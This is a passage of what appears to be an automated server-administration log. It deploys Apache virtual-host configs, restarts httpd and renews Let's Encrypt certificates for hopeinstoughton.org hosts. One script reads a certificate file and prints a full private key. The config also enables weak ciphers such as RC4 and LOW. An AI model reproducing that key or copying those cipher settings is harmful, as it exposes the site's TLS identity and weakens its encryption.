    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf= 1'
fi


2026-07-18 06:01:45: 

chmod 755 /tmp/pkp514840; /tmp/pkp514840; rm /tmp/pkp514840

2026-07-18 06:01:45: 




2026-07-18 06:01:45: 

PUT: /tmp/pkp368267

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-18 06:01:46: 

chmod 755 /tmp/pkp368267; /tmp/pkp368267; rm /tmp/pkp368267

2026-07-18 06:01:46: 


httpd not running, trying to start
httpd not running, trying to start
.


2026-07-18 06:01:46: Establishing a connection
2026-07-18 06:01:47: 

PUT: /tmp/pkp133211

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-18 06:01:48: 

chmod 755 /tmp/pkp133211; /tmp/pkp133211; rm /tmp/pkp133211

2026-07-18 06:01:48: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:30)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:25)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-07-18 06:01:48: 

PUT: /tmp/pkp854656

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-18 06:01:48: 

chmod 755 /tmp/pkp854656; /tmp/pkp854656; rm /tmp/pkp854656

2026-07-18 06:01:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf	2965
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>







2026-07-18 06:01:49: 

PUT: /tmp/pkp708872

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-18 06:01:49: 

chmod 755 /tmp/pkp708872; /tmp/pkp708872; rm /tmp/pkp708872

2026-07-18 06:01:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734	7445
9f:65:5f:ea:75:1c:1a:5e:89:50:f4:bf:08:a0:1d:df

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBSMszS3CMCSh6hFFZfPOCY2xMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzE4MDUwMzEyWhcNMjYxMDE2MDUwMzExWjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAL8IpChNxuG1m/0YnniSLTlKMYfmpJZyLOND2IEiRcPlwms+
K1SVAhclJvlQ7moRlcb8jacuR05ZnBBPCuz7Gzw8nkZrSd9qvuZgkZCEivJfxbgk
qMDwrFf3pAFuilK/Vy33rlBuoREiPg666AnpHULQBo8wOBFvONQ7NMvXfykl4WPy
o2fWtqM/toaGk769UwcqBIbyageh/WNsw0G3OxpDG+X2Xd36ieqUl8Jg5atsdcmD
xd8QrMOkKToySfrmDjGsYM9iNvD8LEbRrEkg8M4ExMRo5Qk8yTrPI6JfAlJlMTnp
UGX5B62ol+ORGlWGEKcU1d8fkVKgQgh62rQWv8cCAwEAAaOCAigwggIkMA4GA1Ud
DwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBS1ANCrl+r0+hIqd8eHS9CvCunvDzAfBgNVHSMEGDAWgBRAFS0mee0y
IJ7fmnId1jIfgQyBDDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly95cjIuaS5sZW5jci5vcmcvMCUGA1UdEQQeMByCGmN5Z251cy5ob3BlaW5zdG91
Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly95cjIuYy5sZW5jci5vcmcvNTAuY3JsMIIBDAYKKwYBBAHWeQIEAgSB
/QSB+gD4AHUAlE5Dh/rswe+B8xkkJqgYZQHH0184AgE/cmd9VTcuGdgAAAGfc9D1
wwAABAMARjBEAiAGHudoevgVSL0rqKiv4tw+gWQ6ayyTvVwMpTxfDwNbeAIgNq9x
9kD0NujlCCGVXCxnxvFnkwLrEqC5sKDalXIdsiwAfwBGr4Y9Oz7ln6V33qgkXTaw
2e0ioiP0YXdBIpRS7pVQXwAAAZ9z0PZkAAgAAAUADXLuQwQDAEgwRgIhANBP7BVq
SVcLc6ZwvLH11/KECunX+fAi1FImEviyjQcKAiEA7d/7lFfS1uUi2boKMpTrGsXJ
oYPi6TDU/wPpWolX7yAwDQYJKoZIhvcNAQELBQADggEBAKBmeFuZkvCXgK5IBxuL
ykRFcT6mLCxmay7yddXK9ggfifhCrLSAfyf7ejtc/pRwVlyDsqW4z1U7Jv6CA/0b
8yD4I663tM81XhkTOEl9wFN8fWxWhPD/tGIgZ21gUqk8q4KEWxfK1MKaInTkzvBo
iLZJ2uv3+xgda99DCDZRLud9DSKsPw46ByvuWO3wDP/TrD53ad7W8FdM7hkIWeod
I5L+Gg7EF3b+34/hhcvl5/QtcLlrDxZw8SUuUg75IhXjnz08O9O6WeuCdsyIxQqk
10kjc+127hbH5JcXh2ajNmlt3o45ybXMSzYVcDGBfJ2qEn+8+sz9mqZIynavZXw8
LKs=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC/CKQoTcbhtZv9
GJ54ki05SjGH5qSWcizjQ9iBIkXD5cJrPitUlQIXJSb5UO5qEZXG/I2nLkdOWZwQ
Twrs+xs8PJ5Ga0nfar7mYJGQhIryX8W4JKjA8KxX96QBbopSv1ct965QbqERIj4O
uugJ6R1C0AaPMDgRbzjUOzTL138pJeFj8qNn1rajP7aGhpO+vVMHKgSG8moHof1j
bMNBtzsaQxvl9l3d+onqlJfCYOWrbHXJg8XfEKzDpCk6Mkn65g4xrGDPYjbw/CxG
0axJIPDOBMTEaOUJPMk6zyOiXwJSZTE56VBl+QetqJfjkRpVhhCnFNXfH5FSoEII
etq0Fr/HAgMBAAECggEADdTJVeWztZnZjmye5KnovlIh3e4UEpR3rYi2/zqFBJb5
CZy5tGkJerWE6d4zNNjLGFomw2j1XrXcN84RQ3E22pik+QJBmfx3j+SEBYujJ8NJ
ZHi7AyUpxUC3zia7uxwBauGY7FfmL4BkL9rWfAk1xiWbo/hgxtpfqfYTb4LNwSPN
9M9OWbecqefJ7eQJl/1M74kZNAHtVI48w5Id+jqjZ2D/Mps64jMdWJy/hGLi4zw6
0+wnc6sPsfVh0JBEemVF+YVgkUHcIxL/x5C4wRccq/K7l6wsTj6/Ym3xKWC5U9JB
yrF3Bf8m3UWv/3HHRTDjDMAPfg3pnDEnNU0vU2ndIQKBgQDehNk0k49GP0GfVzq3
O2JczQEcn80x8rX0PKuzXIWZBwgKUlDs+jadHlepSZNjO3Ozd1sLDVbSC/0glGLU
zr4Vt9n19w/cs931Kh2XjPaEtbzayzj+O9XXuBEvdcQWT8x6NuQ03PW7Lfr6b4Ex
I7PEQP7REwyLoKQf6AWL+znhMQKBgQDbxwXXAiPPeq6FXv3EcwOCq/7kSE4YmhkD
ms9wBKsZCY1Cem2FUGx+e04+NHp2nY3uf7/GGs15HjXNP//ZmC41gZJtE6UzZa6m
wuarl/ixGHmS+03KuZlapxZ01NULKipZ1xbtRhqBZv4Ynho7Jg0zVLUpo837fiZ2
ssDp6IuydwKBgCGPL6L6TjVt/NunMDfKQP91+6DxiOTrkf2P2OVoIs39fXzxBTt4
URxJIzdo3U2t/bknWxfDn0B2hmqPdohZ1dk4rSqnZEEI74S2IVhl7hf9wMnOtH3D
UHEEVbMus7AZwOD9vlUqrfTY7m0uu/FJTSdgFg46LT4xsA8P0yZVcVlBAoGAIxBl
xh/5Rqj0HyNAqY8QCFEYoaNHknVDeGfCoMSd56i2eNy/jH2AUc2qdhI5V6Nbeam4
Fws/rQs82jpTv4ugE7lQe0afHMwkSUbfNpFQhDC7dM/TYXyrEuOFma47L0TS7PJ8
He8JW4vrDlJrLPStNntVTAduXamKyXVLggYwA5ECgYBuMUQAe0/BfF4vvD4BlBAD
YPfE4xezhl6h4isNLAR/d2rM0BLpRg9jKKZe9bw/Xmr+Qonrf1ub7q6L93jmEyKD
CRhooJ5EZBNaRxJMPbUmIyZS4rGMdCn606dJ3vFYnI5zeJDipqAYTF1wDHJN1jh9
as3jPkmatoAcD6/D7pYugw==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-18 06:01:49: Establishing a connection
2026-07-18 06:01:50: Establishing a connection
2026-07-18 06:01:50: 

PUT: /tmp/pkp338495

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn1/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-18 06:01:50: 

chmod 755 /tmp/pkp338495; /tmp/pkp338495; rm /tmp/pkp338495

2026-07-18 06:01:50: 


1


2026-07-18 06:01:51: Establishing a connection
2026-07-18 06:01:51: 

PUT: /tmp/pkp316097

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cat > udVbaWGpRn9trBAYIy8IaItQae6147AxVHDCkmZNyS4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
udVbaWGpRn9trBAYIy8IaItQae6147AxVHDCkmZNyS4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 udVbaWGpRn9trBAYIy8IaItQae6147AxVHDCkmZNyS4


2026-07-18 06:01:51: 

chmod 755 /tmp/pkp316097; /tmp/pkp316097; rm /tmp/pkp316097

2026-07-18 06:01:51: 




2026-07-18 06:01:56: Establishing a connection
2026-07-18 06:01:56: 

PUT: /tmp/pkp564661

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
rm udVbaWGpRn9trBAYIy8IaItQae6147AxVHDCkmZNyS4


2026-07-18 06:01:56: 

chmod 755 /tmp/pkp564661; /tmp/pkp564661; rm /tmp/pkp564661

2026-07-18 06:01:56: 




2026-07-18 06:01:56: Establishing a connection
2026-07-18 06:01:56: 

PUT: /tmp/pkp522688

#!/bin/bash
temp_file=$(mktemp)
TARGET=0660cc0c014b1256b25525c3494eafa0.crt

cat > $temp_file <<'endmsg'
d5:c6:3b:4a:3c:ba:a2:61:25:b0:d2:0f:dd:ef:75:ff

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBROjfJjAFStp0whrby7Ko6o/MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzE4MDUwMzI0WhcNMjYxMDE2MDUwMzIzWjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDJWLVXPMjf/57Se+x96x5nM/a01V8mSiajM5eiP8M6HyBnMJdG
8xx4N82px4spK3r2zS0KdKJ7esijr0HBXedVzMc93qIG3SPUxVeZIBxuieMYcjxj
pTfnzCRWRMud8as9R1xDnklwGJ/9hTclKpric4EwKcUF2VctBd+JFkTt3qXh3POP
AbSJBm+6v7YKJ0TbssmGrrspgwM+AEBKeef82aiMwVxDJZc9VZChDk0SKIOlRSkh
QYtkzerQetJLAlJjdKOacSVyM2DMSfOUMKPFNjrQ2IuqUfgX33xTNtz7tm3pF7q/
v1R7xuzNPbF6fu/tFXkvmwneutavYMLXSP1/AgMBAAGjggInMIICIzAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU1w80H7/ct+buYi4dLwORbKCQHLwwHwYDVR0jBBgwFoAUQBUtJnntMiCe
